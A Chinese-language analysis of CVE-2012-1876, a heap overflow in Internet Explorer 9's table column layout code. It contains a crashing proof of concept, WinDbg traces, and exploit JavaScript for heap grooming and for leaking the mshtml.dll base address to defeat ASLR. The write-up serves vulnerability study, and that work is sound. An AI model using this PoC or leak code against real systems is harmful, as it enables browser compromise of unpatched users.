简介
CVE-2012-1876是法国安全团队Vupen在Pwn2Own 2012上攻破Win7下IE9的两个漏洞之一,利用了标签生成时的堆溢出漏洞
PoC分析
分析过程
<html>
<body>
<table style="table-layout:fixed" >
<col id="132" width="41" span="1" >  </col>
</table>
<script>
function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 1000;
}
setTimeout("over_trigger();",1);
</script>
</body>
</html>
对堆调试,需要先开启页堆调试支持
gflags.exe -i iexplore.exe +hpa
然后附加到IE进程,由于此漏洞触发在IE的子进程下,需额外开启对子进程的调试支持
// 开启子进程调试支持
0:015> .childdbg 1
Processes created by the current process will be debugged
接着打开PoC,启用ActiveX
控件,会触发访问异常
(534.8dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=04d55000 edi=04d55018
eip=6795f167 esp=0410d9d0 ebp=0410d9dc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CTableColCalc::AdjustForCol+0x15:
6795f167 890f mov dword ptr [edi],ecx ds:0023:04d55018=????????
利用栈回溯,异常触发于mshtml!CTableColCalc::AdjustForCol+0x15
处
1:020> kb
ChildEBP RetAddr Args to Child
0410d9dc 677d5b8e 00414114 0410dd20 00000001 mshtml!CTableColCalc::AdjustForCol+0x15
0410da8c 67640713 00000001 0410dd20 000003e8 mshtml!CTableLayout::CalculateMinMax+0x52f
0410dca8 6762af19 0410dd20 0410dcec 00000001 mshtml!CTableLayout::CalculateLayout+0x276
0410de54 6771cc48 0410f4c8 0410e080 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720
0410df8c 6770f5d0 0757dea8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
...
在mshtml!CTableColCalc::AdjustForCol
中,edi
的值由esi
决定,而esi
在此函数中是直接引用的,需要找其调用者
重新调试,对mshtml!CTableLayout::CalculateMinMax
下断点
注:命令sxe ld:mshtml
使得当mshtml
模块加载时断下
在此函数断下后,单步调试,辅助IDA静态分析
Breakpoint 1 hit
eax=ffffffff ebx=06b02ea8 ecx=00412802 edx=ffffffff esi=00000000 edi=042fe5bc
eip=6764018a esp=042fe360 ebp=042fe578 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax:
6764018a 8bff mov edi,edi
而后在CImplAry::EnsureSizeWorker
分配堆内存
根据以上信息,可知
CTableLayout + 0x9C
为分配的堆内存首地址,且大小至少为4 * 0x1C = 0x70
CTableLayout + 0x54
为snap
CTableLayout + 0x94
为snap_cmp
,要满足snap_cmp / 4 < snap
,才分配堆内存
在PoC中执行over_trigger
函数,再次继续调试运行,在第四次断下时,就触发了异常,着重调试第三次
在over_trigger
函数中,没有对标签的snap
字段进行修改,后续snap_cmp = 4, snap_cmp / 4 = 1 == snap
,不会再分配堆内存
// 第三次断下
1:021> g
Breakpoint 1 hit
eax=ffffffff ebx=06fdaea8 ecx=00402c02 edx=ffffffff esi=00000000 edi=03f7e084
eip=6764018a esp=03f7de28 ebp=03f7e040 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax:
6764018a 8bff mov edi,edi
1:021> dd ebx + 54
06fdaefc 00000001 ffffffff ffffffff ffffffff
06fdaf0c ffffffff 67539fd0 00000004 00000004
06fdaf1c 0553aff0 67539fd0 00000004 00000004
06fdaf2c 07071ff0 00000000 00000000 67539fd0
06fdaf3c 00000004 00000004 05734f90 00000000
06fdaf4c 00000000 00000000 00000000 00000000
06fdaf5c 00000000 00000000 00000000 000000c8
06fdaf6c 000000c8 00000000 00000000 00000000
1:021> dd ebx + 94
06fdaf3c 00000004 00000004 05734f90 00000000
06fdaf4c 00000000 00000000 00000000 00000000
06fdaf5c 00000000 00000000 00000000 000000c8
06fdaf6c 000000c8 00000000 00000000 00000000
06fdaf7c 00000000 00000000 00000000 00000001
06fdaf8c 00000000 00000000 00000000 00000000
06fdaf9c 00000000 00000000 00000000 00000000
06fdafac 00000000 ffffffff 00000001 00000000
// 第四次断下
1:022> g
(ee8.cd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=074bb000 edi=074bb018
eip=6795f167 esp=042fdab8 ebp=042fdac4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CTableColCalc::AdjustForCol+0x15:
6795f167 890f mov dword ptr [edi],ecx ds:0023:074bb018=????????
在PoC的over_trigger
函数中将obj_col.span
的值修改为1000,单步调试到mshtml!CTableCol::GetAAspan
1:022> p
eax=058fcfd0 ebx=0706bea8 ecx=00000031 edx=00000000 esi=07510fac edi=058fcfd0
eip=677d5a2e esp=03f9ded8 ebp=03f9df74 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x37e:
677d5a2e e8d445dfff call mshtml!CTableCol::GetAAspan (675ca007)
1:022> p
eax=000003e8 ebx=0706bea8 ecx=00000002 edx=06df6ff0 esi=07510fac edi=058fcfd0
eip=677d5a33 esp=03f9ded8 ebp=03f9df74 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x383:
677d5a33 3de8030000 cmp eax,3E8h
此时获取到的值为1000,继续向下单步分析,获取了PoC中的obj_col.width
字段,转为DWORD
型后又乘了100,即obj_col.width * 100
之后会进入循环,循环次数为obj_col.span
次,且每次堆内存指针都向前移动0x1c
字节,最终当指针向前移动了0x70
字节时,在CTableColCalc::AdjustForCol
函数中发送堆溢出(0x70
字节也刚好是最开始分配的堆内存大小)
1:020> t
eax=07734f80 ebx=04e5eea8 ecx=00000070 edx=00004141 esi=074e8000 edi=00000001
eip=677d5b89 esp=041fdf1c ebp=041fdfc4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x52a:
677d5b89 e8c4951800 call mshtml!CTableColCalc::AdjustForCol (6795f152)
1:020> !heap -p -a 074e8000-70
address 074e7f90 found in
_DPH_HEAP_ROOT @ 151000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
7730f08: 74e7f90 70 - 74e7000 2000
接着进入CTableColCalc::AdjustForCol
函数,会对heap_buf_ptr + 0x18
处进行赋值,结合外层的循环,可以看出这里是循环对堆内存进行赋值,最终由于obj_col.span * 0x1c 远大于 0x70
导致堆溢出
1:020> p
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=074e8000 edi=074e8018
eip=6795f167 esp=041fdf08 ebp=041fdf14 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CTableColCalc::AdjustForCol+0x15:
6795f167 890f mov dword ptr [edi],ecx ds:0023:074e8018=????????
1:020> g
(cb0.bb8): Access violation - code c0000005 (!!! second chance !!!)
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=074e8000 edi=074e8018
eip=6795f167 esp=041fdf08 ebp=041fdf14 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CTableColCalc::AdjustForCol+0x15:
6795f167 890f mov dword ptr [edi],ecx ds:0023:074e8018=????????
总结
- 页面加载阶段,在
CTableLayout::CalculateMinMax
函数中,snap
属性的值为1,snap_cmp
为0 snap_cmp / 4 < snap
,所以在CImplAry::EnsureSizeWorker
函数中分配堆内存,大小为snap * 0x1c
且最小大小为4 * 0x1c = 0x70
- 分配完堆内存后,有
snap_cmp = 4, snap_cmp / 4 = 1 == snap
,因此后续不会再分配堆内存 - 调用了PoC的
over_trigger
函数,会再次调用CTableLayout::CalculateMinMax
函数,此时snap
和snap_cmp
没有改变,obj_col.span
的值为1000,obj_col.span
会作为计数器,循环向分配的堆内存中写入数据,而obj_col.span * 0x1c 远大于 0x70
,故造成堆溢出
Exp简要分析
构造堆布局,泄露mshtml.dll基址,以便绕过ASRL
var free = "EEEE";
while (free.length < 480) free += free;
var string1 = "AAAA";
while (string1.length < 480) string1 += string1;
var string2 = "BBBB";
while (string2.length < 480) string2 += string2;
var fr = new Array();
var al = new Array();
var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";
for (var i = 0; i < 500; i+=2) {
fr[i] = free.substring(0, (0x100 - 6) / 2);
al[i] = string1.substring(0, (0x100 - 6) / 2);
al[i+1] = string2.substring(0, (0x100 - 6) / 2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}
for (var i = 200; i < 500; i += 2) {
fr[i] = null;
CollectGarbage();
}
以上这段先分配了250次堆内存,每次都申请了100字节的"EEEE……"、"AAAA……"、"BBBB……"、和CButtonLayout
,布局如下图:
其中对于(0x100 - 6) / 2
的含义是计算出所占内存大小0x100
字节的子串末尾索引,这里的JavaScript的字符串采用的是宽字节编码,故最后要除以2,而减去6是因为在浏览器中,JavaScript的字符串上有4字节的字符串长度和2字节的NULL
结尾标志,如下:
这类字符串即是BSTR字符串(Pascal-Style字符串)
之后从中间开始间接释放内存fr[i]
,即字符串"EEEE……"的部分,选择这里释放的位置是为了让后续触发漏洞时的堆内存占据这些被释放的位置中的一个,顺而可以溢出淹没后续"AAAA……"、"BBBB……"
紧接着创建多个col标签,这些标签的snap = 9
,snap * 0x1c =0xfc
对齐之后是0x100
<table style="table-layout:fixed" >
<col id="0" width="41" span="9" >  </col>
</table>
...
...
<table style="table-layout:fixed" >
<col id="132" width="41" span="9" >  </col>
</table>
在堆释放时,最终会调用RtlFreeHeap
,在这个函数上下断点,即可看到释放时的堆内存
查看创建的堆内存,对CImplAry::EnsureSizeWorker
的下一条指令下断点,然后ebx + 9c
即是堆内存首地址
bp jscript!JsCollectGarbage // 先在此处断下,然后设置以下断点
bu ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
bu mshtml!CTableLayout::CalculateMinMax+0x16d ".echo vulheap; dd poi(ebx+9c) l4;g"
.logopen /t c:\logs\mylogfile.txt
运行起来,可以看到后续申请的堆空间占据了释放的位置
...
free heap
03f75240 fa 00 00 00 45 00 45 00-45 00 45 00 45 00 45 00 ....E.E.E.E.E.E.
...
vulheap
03f75240 0000054b 00450045 00450045 00450045
而后,col.span = 19
,也即19 * 0x1c = 0x214
,因在堆块开头有8字节的_HEAP_ENTRY
结构,所以可以覆盖到后续的字符串长度与CButtonLayout
的开头4字节的虚表指针
var leak_col = document.getElementById("132");
leak_col.width = 41;
leak_col.span = 19;
故,后续执行泄露函数get_leak
,通过CButtonLayout.vftable
与mshtml.dll
的偏移是固定值,由此泄露出mshtml.dll
的基址,后续可利用同样的方式,覆盖到CButtonLayout.vftable
,利用ROP与堆喷射,将流程转向shellcode上
function get_leak(){
for (var i = 0; i < 500; i++) {
// 寻找长度大于(0x100-6)/2的字符串,这里就是被覆盖过的
if (al[i].length > (0x100 - 6) / 2) {
// 取得CButtonLayout的虚表指针所在的位置,获取该位置的地址值
var leak = al[i].substring((0x100 - 6) / 2 + (2 + 8) / 2, (0x100 - 6) / 2 + (2 + 8 + 4) / 2);
leak_addr = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16);
alert("CbuttonLayout虚表指针: 0x" + leak_addr.toString(16));
// 减去固定偏移,得到mshtml.dll基址
mshtmlbase = leak_addr - 0x173af8;
alert("mshtml.dll基址: 0x" + mshtmlbase.toString(16));
break;
}
}
}